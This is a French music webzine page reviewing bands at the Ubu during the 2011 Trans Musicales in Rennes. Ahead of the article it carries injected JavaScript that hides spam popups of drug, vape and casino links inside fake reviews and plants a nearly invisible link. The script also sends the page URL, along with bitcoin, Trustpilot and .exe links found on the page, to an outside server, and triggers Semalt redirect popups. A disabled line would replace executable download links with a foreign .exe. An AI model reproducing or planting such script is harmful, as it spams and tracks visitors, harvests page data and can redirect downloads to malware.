Logo/* Domain is for sale: fawtuowo@gmail.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Today I went back to Audi Lynbrook to get a new car. This time I actually worked with Rennoy and had a great experience. He showed me different options and helped me find the right car to fit my budget. Thank you!! vape buy online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Overpriced in terms of food, prices are comparable to Kelsey s or Montana s but they should really be competing more with M.T Bellies. Atmosphere is good, seems like a good spot to have some drinks bac 2020 sénégal date<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Really delicious tex mex and great prices! We enjoyed the steak, barbacoa, and veggie burritos and the mahi tacos. Highly recommend! erkeklerde burun esteti\u011fi<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very nice and very clean. The beds were very comfortable. ad astra sarnen facebook friends<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Everyone was very efficient. My oil change was really fast. Enjoyed a courtesy coffee and a bagel while I waited. buying buds online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Hotel was amazing with great location Loved the spa and the aspen suits Right in the mall Of the Emirates genuine silk robe<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Love this store. Service is great. Ambiance is fab. jackpot slots real money<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I attended a job fair in one of the California ballrooms. who makes plywood<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Spacious and clean room, very friendly service. Breakfast was ok \/ good. \u043c\u0430\u0442\u0440\u0430\u0441\u044b \u043c\u0430\u0433\u043d\u0438\u0444\u043b\u0435\u043a\u0441<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Friendly service, delicious food, clean environment clobazam 10mg<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Fun for family but not fat friendly a lot of hills offroad boosted board<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Hotel room was burglarized. No cameras in hallways of hotel. racehorse meds shop<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
They always do a quality job on my haircut for an extremely reasonable price. wie wirkt xanax<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice structure with the possibility to try all the cars of fca, good the restaurant new boiler on credit<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice place but the skates are dated and not good. Also serve good but no tables to sit and eat. dg casino \u0e40\u0e02\u0e49\u0e32 \u0e2a\u0e39\u0e48 \u0e23\u0e30\u0e1a\u0e1a<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Perfect for relaxing by the pool and whirlpool. I can only recommend. payroll 1 demand<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Awesome oval and atmosphere but no seating for general admission tickets at Big Bash games bob\u4f53\u80b2\u5e73\u53f0<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Just bought a new Subaru from Keith. He was friendly and knowledgeable. Would recommend doing business with him at Mike Shaw Subaru! \u9996 \u5132 \u512a\u60e0<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Beautiful and well kept. Quite busy during holiday season nm0ge9f76g1273356<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Improved when compared to few years ago. Crowded but there are good amount of things to see and go places. Safari is worth it to check out ungol sex scandal<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
First time visiting at desert sky. People were friendly from the front desk to the people in the office room I would recommend them to anyone adwokat \u0142ód\u017a<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Ive tried many other insurance companies across the upstate, but this one i can honestly say has been my best experience. The environment is friendly always helpful. I highly recommend them for ALL insurance needs. rankerx campaign<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Kindness of the staff, good food, cleaning in the premises, professional and kind hairdresser. Coming home with an impeccable turn after hours of travel gives you the security of having spent the money well batumiexpert.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good experience with redquanta..payments done on time gái g\u1ecdi 90 m'\u0111r\u1eafk<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
As you know, Hermes is the best of excellence in his products: I love his scarves and certainly several of his bags ... but in this shop the customer does not feel comfortable. The employees are all a bit cold and detached. ..sin! md5 hash online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Wonderful company to work with, one thing u need to survive is to gain knowledge... And this is tge right place to learn Aqua fit pro<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
This place will take forever to unload you Minimum 6 to 8 hour youtube converter mp3 download<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
We went to the Shore Club to celebrate an engagement. bir tiktok<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Today I went back to Audi Lynbrook to get a new car. This time I actually worked with Rennoy and had a great experience. He showed me different options and helped me find the right car to fit my budget. Thank you!! vape buy online<\/a>.<\/article>
Overpriced in terms of food, prices are comparable to Kelsey s or Montana s but they should really be competing more with M.T Bellies. Atmosphere is good, seems like a good spot to have some drinks bac 2020 sénégal date<\/a>.<\/article>
Really delicious tex mex and great prices! We enjoyed the steak, barbacoa, and veggie burritos and the mahi tacos. Highly recommend! erkeklerde burun esteti\u011fi<\/a>.<\/article>
Very nice and very clean. The beds were very comfortable. ad astra sarnen facebook friends<\/a>.<\/article>
Everyone was very efficient. My oil change was really fast. Enjoyed a courtesy coffee and a bagel while I waited. buying buds online<\/a>.<\/article>
Hotel was amazing with great location\r\nLoved the spa and the aspen suits\r\nRight in the mall\r\nOf the Emirates genuine silk robe<\/a>.<\/article>
Love this store. Service is great. Ambiance is fab. jackpot slots real money<\/a>.<\/article>
I attended a job fair in one of the California ballrooms. who makes plywood<\/a>.<\/article>
Spacious and clean room, very friendly service. Breakfast was ok \/ good. \u043c\u0430\u0442\u0440\u0430\u0441\u044b \u043c\u0430\u0433\u043d\u0438\u0444\u043b\u0435\u043a\u0441<\/a>.<\/article>
Friendly service, delicious food, clean environment clobazam 10mg<\/a>.<\/article>
Fun for family but not fat friendly a lot of hills offroad boosted board<\/a>.<\/article>
Hotel room was burglarized. No cameras in hallways of hotel. racehorse meds shop<\/a>.<\/article>
They always do a quality job on my haircut for an extremely reasonable price. wie wirkt xanax<\/a>.<\/article>
Nice structure with the possibility to try all the cars of fca, good the restaurant new boiler on credit<\/a>.<\/article>
Nice place but the skates are dated and not good. Also serve good but no tables to sit and eat. dg casino \u0e40\u0e02\u0e49\u0e32 \u0e2a\u0e39\u0e48 \u0e23\u0e30\u0e1a\u0e1a<\/a>.<\/article>
Perfect for relaxing by the pool and whirlpool. I can only recommend. payroll 1 demand<\/a>.<\/article>
Awesome oval and atmosphere but no seating for general admission tickets at Big Bash games bob\u4f53\u80b2\u5e73\u53f0<\/a>.<\/article>
Just bought a new Subaru from Keith. He was friendly and knowledgeable. Would recommend doing business with him at Mike Shaw Subaru! \u9996 \u5132 \u512a\u60e0<\/a>.<\/article>
Beautiful and well kept. Quite busy during holiday season nm0ge9f76g1273356<\/a>.<\/article>
Improved when compared to few years ago.\r\nCrowded but there are good amount of things to see and go places. Safari is worth it to check out ungol sex scandal<\/a>.<\/article>
First time visiting at desert sky. People were friendly from the front desk to the people in the office room I would recommend them to anyone adwokat \u0142ód\u017a<\/a>.<\/article>
Ive tried many other insurance companies across the upstate, but this one i can honestly say has been my best experience. The environment is friendly always helpful. I highly recommend them for ALL insurance needs. rankerx campaign<\/a>.<\/article>
Kindness of the staff, good food, cleaning in the premises, professional and kind hairdresser. Coming home with an impeccable turn after hours of travel gives you the security of having spent the money well batumiexpert.com<\/a>.<\/article>
Good experience with redquanta..payments done on time gái g\u1ecdi 90 m'\u0111r\u1eafk<\/a>.<\/article>
As you know, Hermes is the best of excellence in his products: I love his scarves and certainly several of his bags ... but in this shop the customer does not feel comfortable. The employees are all a bit cold and detached. ..sin! md5 hash online<\/a>.<\/article>
Wonderful company to work with, one thing u need to survive is to gain knowledge... And this is tge right place to learn Aqua fit pro<\/a>.<\/article>
This place will take forever to unload you Minimum 6 to 8 hour youtube converter mp3 download<\/a>.<\/article>
We went to the Shore Club to celebrate an engagement. bir tiktok<\/a>.<\/article><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; /* var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); */ (function(w, d) { var s = d.createElement('script'); d.getElementsByTagName('script')[0].parentNode.appendChild(s); s.setAttribute('data-statinside-id', 21); s.src = 'https://statinside.com/counter.js'; w._siData = w._siData || []; w.statInside = function() {_siData.push(arguments);} })(window, document); statInside('custom', 'shb2'); statInside('heartbeat', false); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor Concerts Trans Musicales – Focus sur l’Ubu

Trans Musicales – Focus sur l’Ubu

Publié le 14 Dec 2011
Rédacteur : Agnès Bayou Photographe : Benjamin Lemaire

Email, RSS Follow
Email

Pour s’y retrouver aux Trans Musicales, il faut suivre les salles. Chacune a une programmation spécifique qui indique l’ambiance. A l’Ubu, on a découvert des jeunes groupes en développement. Certains qui en foutent déjà plein les yeux, certains qui sont en train de trouver leurs marques. Petite sélection made in Transistor : Dissonant Nation, Shiko Shiko, Im Takt, 50 Miles From Vancouver et Rhum For Pauline.

Dissonant Nation

Un EP intitulé Sauvage avec une couverture qui ressemble aux pubs pour les produits laitiers – Dissonant Nation va vous faire vivre des sensations pures. Si le son paraît mûr, la voix est encore traversée par des couac qui trahissent une mue pas tout à fait finie. Sur scène, les gars ont déjà l’attitude des grands : l’air un poil arrogant et la mèche au vent, les musiciens font saillir leurs muscles sous des vêtements savamment découpés. Les transitions sont encore maladroites mais les filles au premier rang n’en ont cure.
En gros, ce sont de jeunes rockers… Mais pas des bébés, car on ne peut simuler cette folie sur scène : on est face à de fougueux adolescents confiants de leur talent. Ils n’essaient pas encore d’innover mais explorent ce qu’ont fait leurs aînés – sans avoir peur de marcher dans les pas de leurs idoles. Sauf que parfois on dirait Kinito qui reprend du Noir Désir… aïe !

img_4371
img_4374
img_5213
img_5248
img_5273
img_5309
img_5389
img_5404
12►

Shiko Shiko

Avec un dragon nippon qui rend gloire à l’onanisme comme carte de visite, les Shiko Shiko savent se faire remarquer. Mais ce n’est rien par rapport à leur prestation scénique : les quatre musiciens partent dans tous les sens – au propre comme au figuré. Destructurés à mort, les titres n’ont ni queue ni tête, et chaque tournant est inattendu. Le groupe nous plonge dans une atmosphère – bouddhique de préférence – nous lâche soudainement puis reprend comme si de rien n’était sur un autre bout de conversation laissé en suspend quelques mesures auparavant.

Déstabilisés par un gros problème technique, nos Lillois essaient de composer et repartent de plus belle. On se sent désemparé devant autant d’énergie déployée, on essaie de comprendre par quel bout les prendre. D’un coup, on ressent des vibrations et un frisson nous parcourt des orteils au cuir chevelu. C’est puissant comme Liars mais pas aussi oppressant malgré le masque de lutteur mexicain qu’arbore le bassiste… c’est même dansant contre toute attente.

De loin, on dirait un beau foutoir où le keytar tutoie la 8-bit. Leurs compositions sont constituées de milliers de pistes, traversées d’éclairs de génie. Ici une petite mélodie enlevée se balade toute innocente alors qu’on sent bien que la batterie est tapie, prête à la ravir. On est juste saisis devant l’improbable. D’ailleurs, ils déménageront la batterie au milieu de la fosse pour un final fracassant.

A suivre :

Im Takt – interview
50 Miles From Vancouver – interview
Rhum For Pauline 
YouTube Preview Image

Email, RSS Follow
Email

Remerciements : Maxime (ATM)

Catégorie : Concerts
Artiste(s) : 50 Miles From Vancouver, Dissonant Nation, Im Takt, Rhum For Pauline, Shiko Shiko
Salle(s) : Ubu
Evenement(s) : Trans Musicales de Rennes
Production(s) : Cinq7, Laybell
Ville(s) : Rennes

2 réactions »

  • Entretien avec Shiko Shiko | Le Transistor :

    […] Après les Trans, Shiko Shiko prépare les auditions régionales Découvertes du Printemps de Bourges. « Ouais, c’est pas grave si on va pas à Bourges. On fait cette audition juste pour l’opportunité de jouer à l’Aéronef de Lille. Enfin, surtout pour le catering. » S’ils jouent comme à l’Ubu, y’a moyen qu’ils le remportent. […]

    Le 18 February 2012 à 16 h 25 min
  • Shiko Shiko au Batofar | Le Transistor :

    […] Shiko Shiko seront le 26 avril au Printemps de Bourges au 22 Ouest à 15h Lire le live report des Shiko Shiko à l’Ubu pour les Trans Musicales Lire l’interview des Shiko Shiko […]

    Le 21 March 2012 à 15 h 19 min

Et toi t'en penses quoi ?

A lire aussi

  • Will Epstein – Wendy
  • Les Vulves Assassines à la Maroquinerie
  • Entretien avec Motherhood
  • Whitney et Uwade au Trabendo
  • Bachar Mar-Khalifé au Café de la Danse

Gallery

dsc_8211 img_9423 SAMSUNG CAMERA PICTURES 30-Jeanne-Added-4